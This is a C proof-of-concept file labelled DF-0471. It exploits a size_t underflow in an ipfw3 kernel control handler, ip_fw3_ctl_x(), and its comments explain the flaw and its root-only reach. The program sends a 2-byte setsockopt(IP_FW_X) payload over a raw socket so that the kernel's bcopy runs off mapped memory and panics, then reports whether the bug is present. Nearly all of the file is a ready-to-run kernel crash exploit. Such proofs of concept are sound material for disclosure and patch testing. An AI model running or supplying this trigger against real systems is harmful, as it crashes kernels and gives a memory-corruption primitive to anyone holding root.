DF-0471 / uflow.c
/* * DF-0471 PoC — size_t underflow in ip_fw3_ctl_x() -> unbounded bcopy panic. * * Bug (sys/net/ipfw3/ip_fw3.c:1038-1047): * * int ip_fw3_ctl_x(struct sockopt *sopt) { * ip_fw_x_header *x_header; * x_header = (ip_fw_x_header *)(sopt->sopt_val); * sopt->sopt_name = x_header->opcode; // :1043 * sopt->sopt_valsize -= sizeof(ip_fw_x_header); // :1044 NO bounds check * bcopy(++x_header, sopt->sopt_val, sopt->sopt_valsize); // :1045 * return ip_fw3_ctl(sopt); * } * * sopt->sopt_valsize is size_t (unsigned). setsockopt(s, IPPROTO_IP, IP_FW_X, * buf, len) with len in {1,2,3} is allowed by kern_setsockopt (only len==0 and * len>SOMAXOPT_SIZE are rejected), so sopt_valsize arrives here as 1..3. After * `-= 4` it wraps to ~(2^64)-3 .. ~(2^64)-1 and the bcopy immediately walks off * the end of mapped kernel address space -> fatal page fault -> kernel panic. * * This is the *IP_FW_X* (==49) extended-control opcode; raw_ip.c:385 routes * SOPT_SET IP_FW_X straight to ip_fw3_sockopt() -> ip_fw3_ctl_x(). * * Trigger is root-only: a raw IP socket (SOCK_RAW / IPPROTO_RAW) is required to * reach rip_ctloutput at all. No unprivileged boundary is crossed; the impact * is a kernel memory-corruption / DoS primitive reachable from a root (or * compromised-root / setuid-ipfw3 / jail-escape) context. * * Build: cc -Wall -o uflow uflow.c * Run (as root, ipfw3 kldloaded): * ./uflow # guest panics (fatal trap 12 / 9 in bcopy) */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #ifndef IP_FW_X #define IP_FW_X 49 /* sys/netinet/in.h: ipfw3 extended ctl opcode */ #endif int main(void) { int s, rc; /* * Supply a 2-byte payload. sizeof(ip_fw_x_header) is 4 (uint16 opcode + * uint16 pad). valsize=2 passes kern_setsockopt (which only rejects 0 and * >SOMAXOPT_SIZE), so ip_fw3_ctl_x sees sopt_valsize==2, subtracts 4 => * 0xfffffffffffffffe, and the bcopy faults. */ unsigned char buf[2] = { 0x32, 0x00 }; /* opcode low byte = IP_FW_ADD=50 */ s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { /* raw sockets require root */ fprintf(stderr, "socket(AF_INET,SOCK_RAW,IPPROTO_RAW): %s\n", strerror(errno)); fprintf(stderr, "(this PoC must run as root)\n"); return 1; } printf("[*] raw socket fd=%d\n", s); printf("[*] setsockopt(IPPROTO_IP, IP_FW_X=%d, buf, 2) -- " "expect kernel panic from size_t-underflow bcopy\n", IP_FW_X); fflush(stdout); rc = setsockopt(s, IPPROTO_IP, IP_FW_X, buf, (socklen_t)sizeof(buf)); /* If we get here the kernel did NOT panic -> bug absent / fixed. */ printf("[!] setsockopt returned rc=%d errno=%d (%s)\n", rc, errno, strerror(errno)); if (rc == 0 || (rc < 0 && errno != EINVAL)) { printf("[!] BUG PRESENT: kernel accepted a <4-byte IP_FW_X payload " "(should have been EINVAL)\n"); } else { printf("[+] kernel correctly rejected short payload (EINVAL) -> " "bug absent / fixed\n"); } close(s); return 0; } |